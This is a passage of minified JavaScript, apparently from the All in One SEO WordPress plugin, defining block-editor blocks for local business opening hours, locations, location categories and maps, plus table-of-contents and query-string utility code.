g(),y("div",null,[o.locationsList.length&&!a.isLocationPostType()?(g(),y("div",Es,[u("p",xs,h(o.strings.selectLocation),1),m(l,{size:"medium",options:o.locationsList,modelValue:a.getLocationOptions(this.$root.$data.locationId),"onUpdate:modelValue":t[0]||(t[0]=i=>this.$root.$data.locationId=i.value),"track-by":"value"},null,8,["options","modelValue"])])):S("",!0),u("div",Ps,[m(r,{modelValue:e.$root.$data.showTitle,"onUpdate:modelValue":t[1]||(t[1]=i=>e.$root.$data.showTitle=i)},{default:$(()=>[v(h(o.strings.showTitle),1)]),_:1},8,["modelValue"])]),u("div",As,[m(r,{modelValue:e.$root.$data.showIcons,"onUpdate:modelValue":t[2]||(t[2]=i=>e.$root.$data.showIcons=i)},{default:$(()=>[v(h(o.strings.showIcons),1)]),_:1},8,["modelValue"])]),u("div",Hs,[m(r,{modelValue:e.$root.$data.showMonday,"onUpdate:modelValue":t[3]||(t[3]=i=>e.$root.$data.showMonday=i)},{default:$(()=>[v(h(o.strings.Monday),1)]),_:1},8,["modelValue"])]),u("div",Ms,[m(r,{modelValue:e.$root.$data.showTuesday,"onUpdate:modelValue":t[4]||(t[4]=i=>e.$root.$data.showTuesday=i)},{default:$(()=>[v(h(o.strings.Tuesday),1)]),_:1},8,["modelValue"])]),u("div",Ns,[m(r,{modelValue:e.$root.$data.showWednesday,"onUpdate:modelValue":t[5]||(t[5]=i=>e.$root.$data.showWednesday=i)},{default:$(()=>[v(h(o.strings.Wednesday),1)]),_:1},8,["modelValue"])]),u("div",Ds,[m(r,{modelValue:e.$root.$data.showThursday,"onUpdate:modelValue":t[6]||(t[6]=i=>e.$root.$data.showThursday=i)},{default:$(()=>[v(h(o.strings.Thursday),1)]),_:1},8,["modelValue"])]),u("div",qs,[m(r,{modelValue:e.$root.$data.showFriday,"onUpdate:modelValue":t[7]||(t[7]=i=>e.$root.$data.showFriday=i)},{default:$(()=>[v(h(o.strings.Friday),1)]),_:1},8,["modelValue"])]),u("div",Rs,[m(r,{modelValue:e.$root.$data.showSaturday,"onUpdate:modelValue":t[8]||(t[8]=i=>e.$root.$data.showSaturday=i)},{default:$(()=>[v(h(o.strings.Saturday),1)]),_:1},8,["modelValue"])]),u("div",Us,[m(r,{modelValue:e.$root.$data.showSunday,"onUpdate:modelValue":t[9]||(t[9]=i=>e.$root.$data.showSunday=i)},{default:$(()=>[v(h(o.strings.Sunday),1)]),_:1},8,["modelValue"])]),e.$root.$data.showTitle?(g(),y("div",zs,[u("label",null,h(o.strings.label),1),m(d,{size:"small",modelValue:e.$root.$data.label,"onUpdate:modelValue":t[10]||(t[10]=i=>e.$root.$data.label=i)},null,8,["modelValue"])])):S("",!0)])}const Fs=M(Bs,[["render",js],["__scopeId","data-v-23e1b87b"]]),Q=window.wp,E=Q.element.createElement,be=Q.element.Fragment;var rt;const Zs=((rt=Q.blockEditor)==null?void 0:rt.InspectorControls)||Q.editor.InspectorControls,Ws=Q.components.PanelBody,Qs=Q.components.Disabled,Js=Q.serverSideRender||Q.components.ServerSideRender,Gs=Q.data.withSelect,ie="all-in-one-seo-pack",Ks=E("svg",{width:20,height:20,viewBox:"0 0 20 20",xmlns:"http://www.w3.org/2000/svg"},E("path",{d:"M9.99999 0.400024C15.304 0.400024 19.6 4.69602 19.6 10C19.6 15.304 15.304 19.6 9.99999 19.6C4.69599 19.6 0.399994 15.304 0.399994 10C0.399994 4.69602 4.69599 0.400024 9.99999 0.400024ZM9.99999 17.2C13.972 17.2 17.2 13.972 17.2 10C17.2 6.02802 13.972 2.80002 9.99999 2.80002C6.02799 2.80002 2.79999 6.02802 2.79999 10C2.79999 13.972 6.02799 17.2 9.99999 17.2ZM9.14799 10.852C9.23199 10.912 9.31599 10.972 9.42399 11.032L9.39999 11.056L14.8 13.6L11.164 9.77202L9.99999 4.00002L8.83599 9.77202H8.84799C8.84799 9.79602 8.83599 9.83202 8.82399 9.88002C8.81199 9.92802 8.79999 9.96402 8.79999 10C8.79999 10.336 8.91999 10.624 9.14799 10.852Z"})),Se={},_t="aioseo/openinghours",Ys={title:w("AIOSEO Local - Opening Hours",ie),category:"aioseo",icon:Ks,example:{},attributes:{locationId:{type:"number",default:null},layout:{type:"string",default:"classic"},showTitle:{type:"boolean",default:!0},showIcons:{type:"boolean",default:!0},showMonday:{type:"boolean",default:!0},showTuesday:{type:"boolean",default:!0},showWednesday:{type:"boolean",default:!0},showThursday:{type:"boolean",default:!0},showFriday:{type:"boolean",default:!0},showSaturday:{type:"boolean",default:!0},showSunday:{type:"boolean",default:!0},label:{type:"string",default:w("Our Opening Hours:",ie)},dataObject:{type:"string",default:null},updated:{type:"string",default:Date.now()}},edit:Gs(function(e){const t=P();return{locations:e("core").getEntityRecords("postType",t.aioseo.localBusiness.postTypeName,{per_page:100})}})(function(e){var _;const n=(_=fe().options.localBusiness)==null?void 0:_.locations.general.multiple,{setAttributes:s,attributes:o,className:a,clientId:l,isSelected:r}=e;let{locations:d}=e;const i=`aioseo-${l}-settings`;if(n&&d===null)return E(be,{},E("div",{},w("Loading...",ie)));if(d=d===null?[]:d,!n&&o.locationId)return E(be,{},E("div",{},w("Please enable multiple locations before using this block.",ie)));const c=P();if(n&&d.length===0)return E(be,{},E("div",{},R(w("No %1$s found",ie),c.aioseo.localBusiness.postTypePluralLabel)));const p=ae();o.locationId=!o.locationId&&p.currentPost.postType===c.aioseo.localBusiness.postTypeName?p.currentPost.id:o.locationId,r&&(Se[l]={},Object.keys(o).forEach(function(L){Se[l][L]=o[L]}),Se[l].locations=d,j({id:i,parent:document.querySelector(".block-editor"),subtree:!0,done:function(L){let k=Z({name:"Blocks/OpeningHours",data:function(){return Se[l]},watch:{$data:{handler:function(I){s(I)},deep:!0}},render:()=>oe(Fs)});k=se(k),k.mount(L)}})),p.currentPost.postType===c.aioseo.localBusiness.postTypeName&&j({id:i+"-watcher",parent:document.querySelector(".block-editor"),subtree:!0,done:function(L){let k=Z({name:"Blocks/OpeningHoursWatcher",data:function(){return p.currentPost.local_seo.openingHours},watch:{$data:{handler:function(){s({updated:Date.now()})},deep:!0}},render:()=>oe("div")});k=se(k),k.mount(L)}});const f=E(Zs,null,E(Ws,{title:w("Display Settings",ie),initialOpen:!0},E("div",{},E("div",{id:i},null))));return n&&!o.locationId?E(be,{},f,E("div",{},R(w("Select a %1$s",ie),c.aioseo.localBusiness.postTypeSingleLabel))):E(be,{},f,E("div",{className:a},E(Qs,null,E(Js,{block:_t,attributes:{locationId:o.locationId?o.locationId:0,layout:o.layout,showTitle:o.showTitle,showIcons:o.showIcons,showMonday:o.showMonday,showTuesday:o.showTuesday,showWednesday:o.showWednesday,showThursday:o.showThursday,showFriday:o.showFriday,showSaturday:o.showSaturday,showSunday:o.showSunday,label:o.label,updated:o.updated,dataObject:p.currentPost.postType===c.aioseo.localBusiness.postTypeName?JSON.stringify(p.currentPost.local_seo.openingHours):null}})),E("div",{},E("div",{id:i+"-watcher"},null))))}),save:function(){return null}},Xs=Object.freeze(Object.defineProperty({__proto__:null,name:_t,settings:Ys},Symbol.toStringTag,{value:"Module"}));const en={setup(){return{postEditorStore:ae(),rootStore:P()}},components:{BaseSelect:xe},data(){return{locationCategories:[],strings:{selectLocation:this.rootStore.aioseo.localBusiness.taxonomySingleLabel}}},methods:{getCategoryOptions(e){let t=this.locationCategories.find(n=>n.value===e);return t||(t=this.locationCategories.find(n=>n.value===this.postEditorStore.currentPost.localBusinessCategory)||this.locationCategories.find(n=>!!n),t&&(this.$root.$data.categoryId=t.value)),t}},created(){this.$root.$data.categories&&this.$root.$data.categories.forEach(e=>{this.locationCategories.push({value:e.id,label:e.name})})}},tn={class:"sidebar-row"},on={class:"title"};function sn(e,t,n,s,o,a){const l=b("base-select");return g(),y("div",null,[u("div",tn,[u("p",on,h(o.strings.selectLocation),1),m(l,{size:"medium",options:o.locationCategories,modelValue:a.getCategoryOptions(this.$root.$data.categoryId),"onUpdate:modelValue":t[0]||(t[0]=r=>this.$root.$data.categoryId=r.value),"track-by":"value"},null,8,["options","modelValue"])])])}const nn=M(en,[["render",sn]]),J=window.wp,x=J.element.createElement,de=J.element.Fragment;var dt;const an=((dt=J.blockEditor)==null?void 0:dt.InspectorControls)||J.editor.InspectorControls,ln=J.components.PanelBody,rn=J.components.Disabled,dn=J.serverSideRender||J.components.ServerSideRender,cn=J.data.withSelect,ce="all-in-one-seo-pack",un=x("svg",{width:20,height:19,viewBox:"0 0 20 19",xmlns:"http://www.w3.org/2000/svg"},x("path",{d:"M17.2001 7.2L19.0361 9.036L17.7641 10.308L10.0001 2.544L2.23611 10.308L0.964111 9.036L10.0001 0L14.8001 4.8V2.4H17.2001V7.2ZM10.0001 4.248L17.2001 11.436V18.6H2.80011V11.436L10.0001 4.248ZM12.4001 17.4V11.4H7.60011V17.4H12.4001Z"})),Le={},yt="aioseo/locations",pn={title:w("AIOSEO Local - Locations",ce),category:"aioseo",icon:un,example:{},attributes:{categoryId:{type:"number",default:null}},edit:cn(function(e){const t=P();return{categories:e("core").getEntityRecords("taxonomy",t.aioseo.localBusiness.taxonomyName)}})(function(e){var f;const n=(f=fe().options.localBusiness)==null?void 0:f.locations.general.multiple,{setAttributes:s,attributes:o,className:a,clientId:l,isSelected:r}=e;let{categories:d}=e;const i="aioseo-"+l;if(n&&d===null)return x(de,{},x("div",{},w("Loading...",ce)));if(d=d===null?[]:d,!n)return x(de,{},x("div",{},w("Please enable multiple locations before using this block.",ce)));const c=P();if(d.length===0)return x(de,{},x("div",{},R(w("No %1$s found",ce),c.aioseo.localBusiness.taxonomyPluralLabel)));r&&(Le[l]={},Object.keys(o).forEach(function(_){Le[l][_]=o[_]}),Le[l].categories=d,j({id:i,parent:document.querySelector(".block-editor"),subtree:!0,done:function(_){let L=Z({name:"Blocks/Locations",data:function(){return Le[l]},watch:{$data:{handler:function(k){s(k)},deep:!0}},render:()=>oe(nn)});L=se(L),L.mount(_)}}));const p=x(an,null,x(ln,{title:c.aioseo.localBusiness.postTypePluralLabel,initialOpen:!0},x("div",{},x("div",{id:i},null))));return d!==null&&d.length===0?x(de,{},x("div",{},R(w("No %1$s found",ce),c.aioseo.localBusiness.taxonomyPluralLabel))):o.categoryId?x(de,{},p,x("div",{className:a},x(rn,null,x(dn,{block:yt,attributes:{categoryId:o.categoryId}})))):x(de,{},p,x("div",{},R(w("Select a %1$s",ce),c.aioseo.localBusiness.taxonomySingleLabel)))}),save:function(){return null}},hn=Object.freeze(Object.defineProperty({__proto__:null,name:yt,settings:pn},Symbol.toStringTag,{value:"Module"})),ge=window.wp,q=ge.element.createElement,ke=ge.element.Fragment,mn=ge.serverSideRender||ge.components.ServerSideRender,gn=ge.components.Disabled,fn=ge.data.withSelect,Ie="all-in-one-seo-pack",$n=q("svg",{width:20,height:19,viewBox:"0 0 20 19",xmlns:"http://www.w3.org/2000/svg"},q("path",{d:"M17.2001 7.2L19.0361 9.036L17.7641 10.308L10.0001 2.544L2.23611 10.308L0.964111 9.036L10.0001 0L14.8001 4.8V2.4H17.2001V7.2ZM10.0001 4.248L17.2001 11.436V18.6H2.80011V11.436L10.0001 4.248ZM12.4001 17.4V11.4H7.60011V17.4H12.4001Z"})),wt="aioseo/locationcategories",bn={title:w("AIOSEO Local - Location Categories",Ie),category:"aioseo",icon:$n,example:{},edit:fn(function(e){const t=P();return{categories:e("core").getEntityRecords("taxonomy",t.aioseo.localBusiness.taxonomyName)}})(function(e){var a;const n=(a=fe().options.localBusiness)==null?void 0:a.locations.general.multiple,{className:s}=e;let{categories:o}=e;if(n&&o===null)return q(ke,{},q("div",{},w("Loading...",Ie)));if(o=o===null?[]:o,!n)return q(ke,{},q("div",{},w("Please enable multiple locations before using this block.",Ie)));if(o.length===0){const l=P();return q(ke,{},q("div",{},R(w("No %1$s found",Ie),l.aioseo.localBusiness.taxonomyPluralLabel)))}return q(ke,{},q("div",{className:s},q(gn,null,q(mn,{block:wt}))))}),save:function(){return null}},_n=Object.freeze(Object.defineProperty({__proto__:null,name:wt,settings:bn},Symbol.toStringTag,{value:"Module"}));const yn={setup(){return{postEditorStore:ae(),rootStore:P()}},components:{BaseInput:Ee,BaseSelect:xe,BaseToggle:Ne,CoreImageUploader:Ut},data(){return{locationsList:[],strings:{selectLocation:this.rootStore.aioseo.localBusiness.postTypeSingleLabel,showLabel:this.$t.__("Show label",this.$td),showIcon:this.$t.__("Show icon",this.$td),businessInfo:this.$t.__("Business Info",this.$td),mapDisplay:this.$t.__("Map Display",this.$td),width:this.$t.__("Width",this.$td),height:this.$t.__("Height",this.$td),customMarker:this.$t.__("Custom Marker",this.$td),minimumSize:this.$t.sprintf(this.$t.__("%1$sThe custom marker should be: 100x100 px.%2$s If the image exceeds those dimensions it could (partially) cover the info popup.",this.$td),"<strong>","</strong>"),label:this.$t.__("Label",this.$td)}}},methods:{getLocationOptions(e){let t=this.locationsList.find(n=>n.value===e);return!t&&!this.isLocationPostType()&&(t=this.locationsList.find(n=>!!n),t&&(this.$root.$data.locationId=t.value)),t},isLocationPostType(){return this.postEditorStore.currentPost.postType===this.rootStore.aioseo.localBusiness.postTypeName}},created(){this.$root.$data.locations&&this.$root.$data.locations.forEach(e=>{this.locationsList.push({value:e.id,label:e.title.rendered})})}},wn={key:0,class:"sidebar-row"},vn={class:"title"},Sn={class:"sidebar-row"},Ln={class:"sidebar-row"},kn={class:"sidebar-row"},In={class:"title"},Cn={class:"sidebar-row"},On={class:"title"},Vn={class:"sidebar-row dimensions"},Tn={key:1,class:"sidebar-row labels"},Bn={class:"title"};function En(e,t,n,s,o,a){const l=b("base-select"),r=b("base-toggle"),d=b("core-image-uploader"),i=b("base-input");return g(),y("div",null,[o.locationsList.length&&!a.isLocationPostType()?(g(),y("div",wn,[u("p",vn,h(o.strings.selectLocation),1),m(l,{size:"medium",options:o.locationsList,modelValue:a.getLocationOptions(this.$root.$data.locationId),"onUpdate:modelValue":t[0]||(t[0]=c=>this.$root.$data.locationId=c.value),"track-by":"value"},null,8,["options","modelValue"])])):S("",!0),u("div",Sn,[m(r,{modelValue:e.$root.$data.showLabel,"onUpdate:modelValue":t[1]||(t[1]=c=>e.$root.$data.showLabel=c)},{default:$(()=>[v(h(o.strings.showLabel),1)]),_:1},8,["modelValue"])]),u("div",Ln,[m(r,{modelValue:e.$root.$data.showIcon,"onUpdate:modelValue":t[2]||(t[2]=c=>e.$root.$data.showIcon=c)},{default:$(()=>[v(h(o.strings.showIcon),1)]),_:1},8,["modelValue"])]),u("div",kn,[u("p",In,h(o.strings.customMarker),1),m(d,{class:"aioseo-image-uploader--no-icon","img-preview-max-width":"100px","img-preview-max-height":"100px","base-size":"small",description:o.strings.minimumSize,modelValue:e.$root.$data.customMarker,"onUpdate:modelValue":t[3]||(t[3]=c=>e.$root.$data.customMarker=c)},null,8,["description","modelValue"])]),u("div",Cn,[u("p",On,h(o.strings.mapDisplay),1)]),u("div",Vn,[u("div",null,[u("label",null,h(o.strings.width)+":",1),m(i,{size:"small",modelValue:e.$root.$data.width,"onUpdate:modelValue":t[4]||(t[4]=c=>e.$root.$data.width=c)},null,8,["modelValue"])]),u("div",null,[u("div",null,[u("label",null,h(o.strings.height)+":",1),m(i,{size:"small",modelValue:e.$root.$data.height,"onUpdate:modelValue":t[5]||(t[5]=c=>e.$root.$data.height=c)},null,8,["modelValue"])])])]),e.$root.$data.showLabel?(g(),y("div",Tn,[u("p",Bn,h(o.strings.label),1),m(i,{size:"small",modelValue:e.$root.$data.label,"onUpdate:modelValue":t[6]||(t[6]=c=>e.$root.$data.label=c)},null,8,["modelValue"])])):S("",!0)])}const xn=M(yn,[["render",En],["__scopeId","data-v-657b2056"]]);function Pn(e){let t;try{t=new URL(e,"http://example.com").search.substring(1)}catch{}if(t)return t}function An(e){let t="";const n=Object.entries(e);let s;for(;s=n.shift();){let[o,a]=s;if(Array.isArray(a)||a&&a.constructor===Object){const r=Object.entries(a).reverse();for(const[d,i]of r)n.unshift([`${o}[${d}]`,i])}else a!==void 0&&(a===null&&(a=""),t+="&"+[o,a].map(encodeURIComponent).join("="))}return t.substr(1)}function Hn(e){try{return decodeURIComponent(e)}catch{return e}}function Mn(e,t,n){const s=t.length,o=s-1;for(let a=0;a<s;a++){let l=t[a];!l&&Array.isArray(e)&&(l=e.length.toString()),l=["__proto__","constructor","prototype"].includes(l)?l.toUpperCase():l;const r=!isNaN(Number(t[a+1]));e[l]=a===o?n:e[l]||(r?[]:{}),Array.isArray(e[l])&&!r&&(e[l]={...e[l]}),e=e[l]}}function Nn(e){return(Pn(e)||"").replace(/\+/g,"%20").split("&").reduce((t,n)=>{const[s,o=""]=n.split("=").filter(Boolean).map(Hn);if(s){const a=s.replace(/\]/g,"").split("[");Mn(t,a,o)}return t},Object.create(null))}function Dn(e="",t){if(!t||!Object.keys(t).length)return e;let n=e;const s=e.indexOf("?");return s!==-1&&(t=Object.assign(Nn(e),t),n=n.substr(0,s)),n+"?"+An(t)}const G=window.wp,O=G.element.createElement,ue=G.element.Fragment;var ct;const qn=((ct=G.blockEditor)==null?void 0:ct.InspectorControls)||G.editor.InspectorControls,Rn=G.components.PanelBody,Un=G.components.Disabled,zn=G.serverSideRender||G.components.ServerSideRender,jn=G.data.withSelect,K="all-in-one-seo-pack",Fn=O("svg",{width:20,height:20,viewBox:"0 0 20 20",xmlns:"http://www.w3.org/2000/svg"},O("path",{d:"M11 11.14L9.83 5.2C9.04 4.77 8.5 3.95 8.5 3C8.5 1.62 9.62 0.499999 11 0.499999C12.38 0.499999 13.5 1.62 13.5 3C13.5 3.95 12.96 4.77 12.17 5.2L11 11.14ZM11 1.5C10.17 1.5 9.5 2.17 9.5 3C9.5 3.83 10.17 4.5 11 4.5C11.83 4.5 12.5 3.83 12.5 3C12.5 2.17 11.83 1.5 11 1.5ZM12.72 6.3L11 13.68L9.27 6.38L5 4.97L2.98023e-08 6.97V15.97L5 13.97L11.12 16L16 13.97V4.97L12.72 6.3Z"})),Ce={},Oe=[],Zn="aioseo/locationmap",Wn={title:w("AIOSEO Local - Map",K),category:"aioseo",icon:Fn,example:{},attributes:{locationId:{type:"number",default:null},showLabel:{type:"boolean",default:!0},showIcon:{type:"boolean",default:!0},customMarker:{type:"string",default:null},width:{type:"string",default:"100%"},height:{type:"string",default:"450px"},label:{type:"string",default:w("Our location:",K)},dataObject:{type:"string",default:null},updated:{type:"string",default:Date.now()}},edit:jn(function(e){const t=P();return{locations:e("core").getEntityRecords("postType",t.aioseo.localBusiness.postTypeName,{per_page:100})}})(function(e){var N;const t=fe(),n=(N=t.options.localBusiness)==null?void 0:N.locations.general.multiple,{setAttributes:s,attributes:o,className:a,clientId:l,isSelected:r}=e;let{locations:d}=e;const i="aioseo-location-map-"+l;if(n&&d===null)return O(ue,{},O("div",{},w("Loading...",K)));if(d=d===null?[]:d,!n&&o.locationId)return O(ue,{},O("div",{},w("Please enable multiple locations before using this block.",K)));const c=P();if(n&&d.length===0)return O(ue,{},O("div",{},R(w("No %1$s found",K),c.aioseo.localBusiness.postTypePluralLabel)));const p=ae(),f=p.currentPost.postType===c.aioseo.localBusiness.postTypeName;o.locationId=!o.locationId&&f?p.currentPost.id:o.locationId;const _=d.find(V=>V.id===o.locationId),L=f?p.currentPost.local_seo.maps:_?_.maps:null;r&&(Ce[l]={},Object.keys(o).forEach(function(V){Ce[l][V]=o[V]}),Ce[l].locations=d,j({id:i,parent:document.querySelector(".block-editor"),subtree:!0,done:function(V){const A=Oe.findIndex(F=>F._container.id===V.id);A!==-1&&(Oe[A].unmount(),Oe.splice(A,1));let U=Z({name:"Blocks/LocationMap",data:function(){return Ce[l]},watch:{$data:{handler:function(F){s(F)},deep:!0}},render:()=>oe(xn)});U=se(U),U.mount(V),Oe.push(U)}})),f&&j({id:i+"-watcher",parent:document.querySelector(".block-editor"),subtree:!0,done:function(V){let A=Z({name:"Blocks/LocationMapWatcher",data:function(){return p.currentPost.local_seo.maps},watch:{$data:{handler:function(){s({updated:Date.now()})},deep:!0}},render:()=>oe("div")});A=se(A),A.mount(V)}});const k=O(qn,null,O(Rn,{title:w("Settings",K),opened:!0},O("div",null,O("div",{id:i},null))));if(n){if(!o.locationId)return O(ue,{},k,O("div",{},R(w("Select a %1$s",K),c.aioseo.localBusiness.postTypeSingleLabel)));if(!L){const V=Dn("post.php",{post:o.locationId,action:"edit"});return O(ue,{},k,O("div",{dangerouslySetInnerHTML:{__html:R(w("Please configure the map for this location: %1$s",K),'<a href="'+V+'" target="_blank">'+_.title.rendered+"</a>")}}))}}const I="#"+i+"-preview .aioseo-local-map";return j({selector:I,parent:document.querySelector(".block-editor"),subtree:!0,done:function(){const V=L||t.options.localBusiness.maps;setTimeout(function(){document.dispatchEvent(new CustomEvent(c.aioseo.localBusiness.mapLoadEvent,{detail:{element:I,mapOptions:V.mapOptions,customMarker:o.customMarker||V.customMarker||t.options.localBusiness.maps.customMarker,instance:o,placeId:t.options.localBusiness.maps.mapsEmbedApiEnabled?V.placeId:null,infoWindowContent:V.infoWindowContent?V.infoWindowContent:null}}))},2e3)}}),O(ue,{},k,O("div",{className:a,id:i+"-preview"},O(Un,null,O(zn,{block:"aioseo/locationmap",attributes:{locationId:o.locationId?o.locationId:0,showLabel:o.showLabel,showIcon:o.showIcon,customMarker:o.customMarker,width:o.width,height:o.height,label:o.label,updated:o.updated,dataObject:f?JSON.stringify(p.currentPost.local_seo.maps):null}})),O("div",{},O("div",{id:i+"-watcher"},null))))}),save:function(){return null}},Qn=Object.freeze(Object.defineProperty({__proto__:null,name:Zn,settings:Wn},Symbol.toStringTag,{value:"Module"})),Jn="https://schemas.wp.org/wp/5.8/block.json",Gn="aioseo/table-of-contents",Kn="1.0.0",Yn="AIOSEO - Table of Contents",Xn="Automatically output a table of contents (TOC) for long posts or pages (and custom post types).",ea="layout",ta=["toc","table of contents","document outline","summary","index"],oa="all-in-one-seo-pack",sa={listStyle:{type:"string",default:"ul"},headings:{type:"array",items:{type:"object"},default:[]},reOrdered:{type:"boolean",default:!1}},na={multiple:!1,html:!1,align:["wide","full"]},vt={$schema:Jn,name:Gn,version:Kn,title:Yn,description:Xn,category:ea,keywords:ta,textdomain:oa,attributes:sa,supports:na},aa={},ia={viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-info"},la=u("path",{d:"M0 0h24v24H0V0z",fill:"none"},null,-1),ra=u("path",{d:"M11 7h2v2h-2zm0 4h2v6h-2zm1-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z",fill:"currentColor"},null,-1),da=[la,ra];function ca(e,t){return g(),y("svg",ia,da)}const St=M(aa,[["render",ca]]);var Lt=function(e,t,n,s){var o;t[0]=0;for(var a=1;a<t.length;a++){var l=t[a++],r=t[a]?(t[0]|=l?1:2,n[t[a++]]):t[++a];l===3?s[0]=r:l===4?s[1]=Object.assign(s[1]||{},r):l===5?(s[1]=s[1]||{})[t[++a]]=r:l===6?s[1][t[++a]]+=r+"":l?(o=e.apply(r,Lt(e,r,n,["",null])),s.push(o),r[0]?t[0]|=2:(t[a-2]=0,t[a]=o)):s.push(r)}return s},Fe=new Map;function ua(e){var t=Fe.get(this);return t||(t=new Map,Fe.set(this,t)),(t=Lt(this,t.get(e)||(t.set(e,t=function(n){for(var s,o,a=1,l="",r="",d=[0],i=function(f){a===1&&(f||(l=l.replace(/^\s*\n\s*|\s*\n\s*$/g,"")))?d.push(0,f,l):a===3&&(f||l)?(d.push(3,f,l),a=2):a===2&&l==="..."&&f?d.push(4,f,0):a===2&&l&&!f?d.push(5,0,!0,l):a>=5&&((l||!f&&a===5)&&(d.push(a,0,l,o),a=6),f&&(d.push(a,f,0,o),a=6)),l=""},c=0;c<n.length;c++){c&&(a===1&&i(),i(c));for(var p=0;p<n[c].length;p++)s=n[c][p],a===1?s==="<"?(i(),d=[d],a=3):l+=s:a===4?l==="--"&&s===">"?(a=1,l=""):l=s+l[0]:r?s===r?r="":l+=s:s==='"'||s==="'"?r=s:s===">"?(i(),a=1):a&&(s==="="?(a=5,o=l,l=""):s==="/"&&(a<5||n[c][p+1]===">")?(i(),a===3&&(d=d[0]),a=d,(d=d[0]).push(2,0,a),a=0):s===" "||s===" "||s===` `||s==="\r"?(i(),a=2):l+=s),a===3&&l==="!--"&&(a=4,d=d[0])}return i(),d}(e)),t),arguments,[])).length>1?t:t[0]}const le=ua.bind(window.wp.element.createElement),Me=e=>Object.prototype.toString.call(e).slice(8,-1).toLowerCase(),Be=(e,t)=>{function n(){if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(!Be(e[r],t[r]))return!1;return!0}function s(){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(const r in e)if(Object.prototype.hasOwnProperty.call(e,r)&&!Be(e[r],t[r]))return!1;return!0}function o(){return e.toString()===t.toString()}function a(){return e===t}const l=Me(e);return l!==Me(t)?!1:l==="array"?n():l==="object"?s():l==="function"?o():a()},te=e=>{const t=d=>{for(const i in e)Object.prototype.hasOwnProperty.call(e,i)&&(d[i]=te(e[i]))},n=()=>{const d={};return t(d),d},s=()=>e.map(function(d){return te(d)}),o=()=>{const d=new Map;for(const[i,c]of e)d.set(i,te(c));return d},a=()=>{const d=new Set;for(const i of e)d.add(te(i));return d},l=()=>{const d=e.bind(globalThis);return t(d),d},r=Me(e);return r==="object"?n():r==="array"?s():r==="map"?o():r==="set"?a():r==="function"?l():e},kt=(e,t=!1)=>{const{body:n}=document.implementation.createHTMLDocument("");n.innerHTML=e;const s=n.getElementsByTagName("*");let o=s.length;for(;o--;){const a=s[o];if(a.tagName==="SCRIPT")a.parentNode.removeChild(a);else{let l=a.attributes.length;for(;l--;){const{name:r}=a.attributes[l];r.startsWith("on")&&a.removeAttribute(r)}}}return t?n.textContent.trim():n.innerHTML},pa=()=>"aioseo-"+new Date().getTime().toString(36),ha=e=>{const t=e.find(n=>{var s;return 0<((s=n.headings)==null?void 0:s.length)});return!!(t&&Object.keys(t).length)},ee=e=>{var s;if(!ha([...e]))return e;const t=[],n=[...e];for(;n.length;){const{...o}=n.shift();(s=o.headings)!=null&&s.length&&n.unshift(...o.headings),o.headings=[],t.push(o)}return t},ma=e=>{const t=(s,o="root")=>{const a={[o]:[]};return s.forEach(l=>{a[o].push(l.blockClientId),Object.assign(a,t(l.headings,l.blockClientId))}),a},n=t([...e]);return e=ee([...e]),Object.entries(n).forEach(([s,o])=>{o.length&&(s==="root"?o.map(a=>{const l=e.findIndex(r=>r.blockClientId===a);return e[l].editedLevel=1,a}):o.map(a=>{const l=e.findIndex(d=>d.blockClientId===s),r=e.findIndex(d=>d.blockClientId===a);return e[r].editedLevel=e[l].editedLevel+1,a}))}),e.forEach((s,o)=>{s.editedOrder=o+1}),e.sort((s,o)=>s.editedOrder-o.editedOrder)},Pe=e=>{const t=[];let n=[],s=-1;if(e.length===0)return[];e=ee([...e]);const o=()=>{0<n.length&&(t[t.length-1].headings=Pe(n))};return e.forEach(a=>{a={...a};const l=a.editedLevel||a.level;if(s!==-1&&s<l){n.push(a);return}o(),s=l,t.push(a),n=[]}),o(),t},ga={},fa={viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-eye-off"},$a=u("path",{d:"M0 0h24v24H0V0zm0 0h24v24H0V0zm0 0h24v24H0V0zm0 0h24v24H0V0z",fill:"none"},null,-1),ba=u("path",{d:"M12 6a9.77 9.77 0 0 1 8.82 5.5 9.647 9.647 0 0 1-2.41 3.12l1.41 1.41c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l1.65 1.65C10.66 6.09 11.32 6 12 6zm-1.07 1.14L13 9.21c.57.25 1.03.71 1.28 1.28l2.07 2.07c.08-.34.14-.7.14-1.07C16.5 9.01 14.48 7 12 7c-.37 0-.72.05-1.07.14zM2.01 3.87l2.68 2.68A11.738 11.738 0 0 0 1 11.5C2.73 15.89 7 19 12 19c1.52 0 2.98-.29 4.32-.82l3.42 3.42 1.41-1.41L3.42 2.45 2.01 3.87zm7.5 7.5 2.61 2.61c-.04.01-.08.02-.12.02a2.5 2.5 0 0 1-2.5-2.5c0-.05.01-.08.01-.13zm-3.4-3.4 1.75 1.75a4.6 4.6 0 0 0-.36 1.78 4.507 4.507 0 0 0 6.27 4.14l.98.98c-.88.24-1.8.38-2.75.38a9.77 9.77 0 0 1-8.82-5.5c.7-1.43 1.72-2.61 2.93-3.53z",fill:"currentColor"},null,-1),_a=[$a,ba];function ya(e,t){return g(),y("svg",fa,_a)}const wa=M(ga,[["render",ya]]),va={},Sa={viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-link"},La=u("path",{d:"M0 0h24v24H0V0z",fill:"none"},null,-1),ka=u("path",{d:"M17 7h-4v2h4c1.65 0 3 1.35 3 3s-1.35 3-3 3h-4v2h4c2.76 0 5-2.24 5-5s-2.24-5-5-5zm-6 8H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-2zm-3-4h8v2H8z",fill:"currentColor"},null,-1),Ia=[La,ka];function Ca(e,t){return g(),y("svg",Sa,Ia)}const Oa=M(va,[["render",Ca]]);const 